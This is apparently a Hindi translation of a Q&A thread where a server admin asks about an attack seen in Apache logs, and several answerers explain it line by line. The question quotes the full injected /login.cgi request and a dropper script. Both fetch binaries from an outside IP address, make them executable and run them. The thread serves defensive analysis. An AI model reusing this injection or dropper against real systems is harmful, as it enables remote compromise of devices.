यह बैश स्क्रिप्ट क्या करती है? [हैक प्रयास]


31

मैं अपने सर्वर अपाचे लॉग पर देख रहा हूँ, निम्नलिखित अजीब लाइनें हाल ही में:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

इसलिए मैंने एक कस्टम Fail2Ban फ़िल्टर बनाया और इन /login.cgi URL के अनुरोध वाले IP पर प्रतिबंध लगाना शुरू कर दिया।

लेकिन मैं उत्सुक था कि वे क्या करने की कोशिश कर रहे थे, इसलिए मैंने उस स्क्रिप्ट को खींच लिया जिसे वे निष्पादित करने की कोशिश कर रहे हैं और मुझे यह पता नहीं लग सकता है कि वास्तव में यह क्या करता है। / Var / / tmp में आर्क फोल्डर हटाने के बारे में कुछ?

वैसे भी, यहाँ यह है:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done

4
संबंधित भेद्यता: twitter.com/txalin/status/1007625620090707974?lang=en
user2064000

1
पहली बार में वह स्क्रिप्ट आपके सर्वर पर कैसे आ गई?
MrWhite

3
मैं सिर्फ अपने होम पीसी पर एक ब्राउज़र में .sh फ़ाइल को खोलता हूं और इसे यहां कॉपी और पेस्ट करता हूं, यह वास्तव में मेरे सर्वर पर कभी नहीं मिला।
ndom91

1
यह स्क्रिप्ट एक 'ड्रॉपर' है, जिसका उपयोग वास्तविक शोषण स्क्रिप्ट को डाउनलोड करने के लिए किया जाता है। यह सीपीयू आर्किटेक्चर में से प्रत्येक में hxxp://80.211.173.159:80/$nameकहां पर स्थित होगा । तो 7 हमले की स्क्रिप्ट डाउनलोड और निष्पादित की जाएगी$namebin_names
BlueCacti

जवाबों:


42

पंक्ति दर पंक्ति:

#!/bin/sh

shशेल को स्थापित करता है, जो भी है, शेबंग लाइन के रूप में। sh%20/tmp/ksअनुरोध में यह ओवरराइड होता है, इसलिए इस लाइन को सामान्य टिप्पणी माना जाता है और इसे अनदेखा किया जाता है।

u="asgknskjdgn"

अन्य फाइलनामों से टकराने से बचने के लिए, संभवतः एक मनमाना नाम घोषित करता है। मुझे यकीन नहीं है कि वे सिर्फ उपयोग क्यों नहीं करेंगे mktemp, लेकिन शायद यह सभी प्लेटफार्मों पर उपलब्ध नहीं है।

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

कई सामान्य सीपीयू आर्किटेक्चर की गणना करता है।

http_server="80.211.173.159"
http_port=80

जिस सर्वर में शोषण होता है।

cd /tmp/||cd /var/

निर्देशिका को बदलने की कोशिश करता है कहीं आपके वेब सर्वर के लिए फ़ाइलें बनाने में सक्षम होने की संभावना है। मेरा मानना ​​है कि SELinux इस बात में मदद करेगा कि वेब सर्वर क्या कर सकता है, इसके बारे में बहुत कड़े नियम लागू करने से।

for name in $bin_names
    do

प्रत्येक CPU आर्किटेक्चर के लिए…

    rm -rf $u

पहले से किए गए शोषण कार्यक्रमों को हटाता है। अगली पंक्ति के कारण अनावश्यक, इसलिए अनदेखा किया जा सकता है।

    cp $SHELL $u

वर्तमान शेल निष्पादन योग्य ( /bin/sh) की प्रतिलिपि बनाता है । अगली के बाद की लाइन की वजह से नजरअंदाज किया जा सकता है।

    chmod 777 $u

नई फ़ाइल तक सभी की पूर्ण पहुँच होती है। यह wgetकमांड के बाद होना चाहिए , जो या तो एक शेल स्क्रिप्टिंग नौसिखिया का संकेत है या एक गलत तकनीक है।

    >$u

फ़ाइल को खाली करता है। अगली पंक्ति के कारण व्यर्थ।

    wget http://$http_server:$http_port/$name -O -> $u

इस आर्किटेक्चर के लिए शोषण स्क्रिप्ट के साथ फाइल को ओवरराइट करता है। -O -> $uलिखा जा सकता था -O - > $u(हाइफ़न इंगित करता है कि डाउनलोड को मानक आउटपुट पर लिखा जाना चाहिए) जो इसके बराबर है -O $u

    ./$u $name

आर्किटेक्चर के साथ शोषण स्क्रिप्ट को पहले तर्क के रूप में चलाता है।

done

पाश को समाप्त करता है।

ऐसा लग रहा है कि यह एक तुच्छ शोषण प्रयास स्क्रिप्ट है, जो विभिन्न सीपीयू प्लेटफार्मों के खिलाफ ज्ञात कारनामों की कोशिश कर रहा है। मुझे नहीं पता कि यह $uतीन बार क्यों ओवरराइट करता है, लेकिन उन ऑपरेशनों को स्क्रिप्ट की एक पुरानी पुनरावृत्ति से केवल बना रह सकता है। संभवतः कि पहले के संस्करण में डायनामिक रूप से परोसे जाने के बजाय कठोर कोडित कारनामे थे - पूर्व आसान है, लेकिन लगभग गारंटी देता है कि स्क्रिप्ट समय के साथ कम प्रभावी होगी क्योंकि कीड़े पैच किए जाते हैं।


21
फ़ाइल को स्पष्ट रूप से rm'ing करने का एक फायदा है। यदि गंतव्य पहले से मौजूद है और अभी निष्पादित हो रहा है, तो कर्नेल आपको लिखने के लिए फ़ाइल खोलने की अनुमति नहीं देगा (-ETXTBSY)। हालाँकि, चल रहे प्रोग्राम का नाम बदलने या हटाने की अनुमति है।
ग्रैविटी

कमांड ->में क्या करता wgetहै? सिर्फ क्यों नहीं wget ... -O $u?
रॉनजॉन

1
@ रॉन जॉन ने इसे पढ़ा- >
बिल्ली

5
साथ -O->filename, पीएस कुल्हाड़ीfilename के उत्पादन में नहीं दिखाता है । यह डिबगिंग को कठिन बनाने का एक फायदा हो सकता है।
pts

1
cpआप एक निष्पादन योग्य फ़ाइल देता है। chmodअसफल होने पर संभवतः उपयोगी है? संपादित करें: यह स्पष्ट रूप से इस लक्ष्य राउटर्स को देखते हुए, यह काफी संभव है जो chmodमौजूद नहीं है।
बॉब

12

wgetकुंजी खतरनाक रेखा है।

for name in $bin_namesप्लेटफार्मों की सूची के माध्यम से काम कर रहा है और एक मंच के लिए यह एक अस्थायी निर्देशिका को साफ करते, पर एक खोल को कॉपी और फिर इसे हर किसी के द्वारा सुलभ बनाने।

यह तब एक फ़ाइल का उपयोग करके डाउनलोड wgetकरता है और फिर इसे शेल प्रोग्राम का उपयोग करके निष्पादित करता है जो इसे केवल कॉपी किया गया है।

स्क्रिप्ट मूल रूप से हर प्लेटफ़ॉर्म के लिए निष्पादन योग्य या स्क्रिप्ट की एक श्रृंखला डाउनलोड करने का प्रयास कर रही है और इसे आपके सिस्टम के खिलाफ इस उम्मीद में रगड़ सकती है कि यह आपके सिस्टम को और अधिक समझौता कर सकता है।


6
रगड़ना == दौड़ना?
बारमर

5
@ बरमार मुझे यकीन है कि यह जानबूझकर था: पी
कनाडाई ल्यूक पुनर्जीवित मोनाका
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.